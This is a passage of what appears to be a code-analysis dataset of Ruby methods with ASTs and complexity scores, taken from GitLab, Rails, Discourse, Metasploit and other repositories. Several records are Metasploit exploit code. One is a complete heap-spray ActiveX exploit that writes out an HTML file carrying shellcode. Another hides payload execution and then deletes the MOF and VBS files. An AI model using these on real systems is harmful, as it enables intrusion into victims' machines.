\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrib_path\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"mof_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"sys\"]},\"process\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Hidden\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting the vbs payload \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@var_vbs_name\"]}]},{\"type\":\"str\",\"children\":[\".vbs\\\" ...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"fs\"]},\"file\"]},\"rm\",{\"type\":\"lvar\",\"children\":[\"vbs_path\"]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting the mof file \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@var_mof_name\"]}]},{\"type\":\"str\",\"children\":[\".mof\\\" ...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"fs\"]},\"file\"]},\"rm\",{\"type\":\"lvar\",\"children\":[\"mof_path\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exception: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"inspect\"]}]}]}]}]},null]}]}]}]}","id":"5649901f-bab1-4fda-a5d3-c51778fe0d42"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/bespoke_1.rb","start_line":50,"raw_source":"def load_user_batch!(users, offset, total)\n    if users.length > 0\n      create_users(users, offset: offset, total: total) { |user| user }\n      users.clear\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_user_batch!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"arg\",\"children\":[\"offset\"]},{\"type\":\"arg\",\"children\":[\"total\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_users\",{\"type\":\"lvar\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"clear\"]}]},null]}]}","id":"d9acae3e-0a99-4f0e-8383-00f0cf4510b1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb","start_line":116,"raw_source":"def report_cred(opts)\n    service_data = {\n      address: opts[:ip],\n      port: opts[:port],\n      service_name: opts[:service_name],\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      origin_type: :service,\n      module_fullname: fullname,\n      username: opts[:user],\n      private_data: opts[:password],\n      private_type: :password\n    }.merge(service_data)\n\n    login_data = {\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::UNTRIED,\n      proof: opts[:proof]\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"758347fa-8a47-4c0e-ba0c-cab2b39a7ab0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/browser_exploit_server.rb","start_line":161,"raw_source":"def get_module_uri\n      \"#{get_uri.chomp(\"/\")}/#{@exploit_receiver_page}\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_module_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_uri\"]},\"chomp\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exploit_receiver_page\"]}]}]}]}","id":"748e88d3-5a26-4af4-b292-d9c483677147"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2962,"raw_source":"def default_merge_request_target\n    return self if project_setting.mr_default_target_self\n    return self unless mr_can_target_upstream?\n\n    forked_from_project\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_merge_request_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_setting\"]},\"mr_default_target_self\"]},{\"type\":\"return\",\"children\":[{\"type\":\"self\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mr_can_target_upstream?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"forked_from_project\"]}]}]}","id":"18461f3b-44ac-4159-b697-f8cb00b1e67e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/sascam_get.rb","start_line":59,"raw_source":"def exploit\n    # Encode the shellcode.\n    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n\n    # Set the return.\n    ret = Rex::Text.uri_encode([target.ret].pack('L'))\n\n    # Randomize the javascript variable names.\n    vname = rand_text_alpha(rand(100) + 1)\n    var_i = rand_text_alpha(rand(30) + 2)\n    rand1 = rand_text_alpha(rand(100) + 1)\n    rand2 = rand_text_alpha(rand(100) + 1)\n    rand3 = rand_text_alpha(rand(100) + 1)\n    rand4 = rand_text_alpha(rand(100) + 1)\n    rand5 = rand_text_alpha(rand(100) + 1)\n    rand6 = rand_text_alpha(rand(100) + 1)\n    rand7 = rand_text_alpha(rand(100) + 1)\n    rand8 = rand_text_alpha(rand(100) + 1)\n\n    content = %Q|<html>\n<object id='#{vname}' classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3'></object>\n<script language=\"JavaScript\">\nvar #{rand1} = unescape('#{shellcode}');\nvar #{rand2} = unescape('#{ret}');\nvar #{rand3} = 20;\nvar #{rand4} = #{rand3} + #{rand1}.length;\nwhile (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};\nvar #{rand5} = #{rand2}.substring(0,#{rand4});\nvar #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});\nwhile (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};\nvar #{rand7} = new Array();\nfor (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }\nvar #{rand8} = \"\";\nfor (#{var_i} = 0; #{var_i} < 8293; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }\n#{vname}.Get(#{rand8});\n</script>\n</html>\n|\n\n    # create the file\n    print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n    file_create(content)\n  end","complexity_score":74.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shellcode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"L\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_i\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand1\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand2\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand3\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand4\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand5\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand6\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand7\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand8\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<html>\\n\"]},{\"type\":\"str\",\"children\":[\"<object id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\"' classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3'></object>\\n\"]},{\"type\":\"str\",\"children\":[\"<script language=\\\"JavaScript\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand1\"]}]},{\"type\":\"str\",\"children\":[\" = unescape('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]}]},{\"type\":\"str\",\"children\":[\"');\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand2\"]}]},{\"type\":\"str\",\"children\":[\" = unescape('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]}]},{\"type\":\"str\",\"children\":[\"');\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand3\"]}]},{\"type\":\"str\",\"children\":[\" = 20;\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand4\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand3\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand1\"]}]},{\"type\":\"str\",\"children\":[\".length;\\n\"]},{\"type\":\"str\",\"children\":[\"while (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand2\"]}]},{\"type\":\"str\",\"children\":[\".length < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand4\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand2\"]}]},{\"type\":\"str\",\"children\":[\" += \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand2\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand2\"]}]},{\"type\":\"str\",\"children\":[\".substring(0,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand4\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand6\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand2\"]}]},{\"type\":\"str\",\"children\":[\".substring(0,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand2\"]}]},{\"type\":\"str\",\"children\":[\".length - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand4\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"while (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand6\"]}]},{\"type\":\"str\",\"children\":[\".length + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand4\"]}]},{\"type\":\"str\",\"children\":[\" < 0x40000) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand6\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand6\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand6\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand7\"]}]},{\"type\":\"str\",\"children\":[\" = new Array();\\n\"]},{\"type\":\"str\",\"children\":[\"for (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\" = 0; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\" < 800; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"++){ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand7\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"] = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand6\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand1\"]}]},{\"type\":\"str\",\"children\":[\" }\\n\"]},{\"type\":\"str\",\"children\":[\"var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand8\"]}]},{\"type\":\"str\",\"children\":[\" = \\\"\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"for (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\" = 0; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\" < 8293; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"++) { \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand8\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand8\"]}]},{\"type\":\"str\",\"children\":[\" + unescape('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]}]},{\"type\":\"str\",\"children\":[\"') }\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\".Get(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand8\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"</script>\\n\"]},{\"type\":\"str\",\"children\":[\"</html>\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}","id":"854837a3-0dea-46fe-ae08-fb8546d462ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/helpers/rspec.rb","start_line":29,"raw_source":"def send_stop_notification\n          reporter.notify(\n            :stop,\n            ::RSpec::Core::Notifications::ExamplesNotification.new(reporter)\n          )\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"send_stop_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reporter\"]},\"notify\",{\"type\":\"sym\",\"children\":[\"stop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RSpec\"]},\"Core\"]},\"Notifications\"]},\"ExamplesNotification\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"reporter\"]}]}]}]}","id":"ec793164-bdfe-4316-a59e-7a7f81fc75c9"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/api_controller.rb","start_line":23,"raw_source":"def authenticate_active_api_user!\n    render json: { error: 'User is not active' }, status: :unauthorized unless current_api_user&.active_until&.future?\n\n    true\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_active_api_user!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_api_user\"]},\"active_until\"]},\"future?\"]},null,{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"User is not active\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"f3e61509-1dd4-4401-9f6e-a26442ee1ce7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/locking/optimistic.rb","start_line":72,"raw_source":"def initialize_dup(other) # :nodoc:\n        super\n        _clear_locking_column if locking_enabled?\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_dup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"locking_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"_clear_locking_column\"]},null]}]}]}","id":"fcf01f74-c504-46ca-a6ac-4c82bc0e5951"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/helpers/metric_options.rb","start_line":180,"raw_source":"def exclude_filter_identifier?(identifier)\n          return false if identifier.nil? || Metric::Identifier.new(identifier).default?\n\n          filter_options.empty?\n        end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exclude_filter_identifier?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identifier\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Identifier\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},\"default?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_options\"]},\"empty?\"]}]}]}","id":"5679798d-2332-42d2-9fce-f1050965efa0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/lib/open_project/two_factor_authentication/token_strategy/developer.rb","start_line":6,"raw_source":"def self.validate!\n        if Rails.env.production?\n          raise \"You're trying to use the developer strategy in production. Don't!\"\n        end\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"validate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"production?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"You're trying to use the developer strategy in production. Don't!\"]}]},null]}]}","id":"0404f677-cd5e-4495-9c8d-0efd657f865a"}
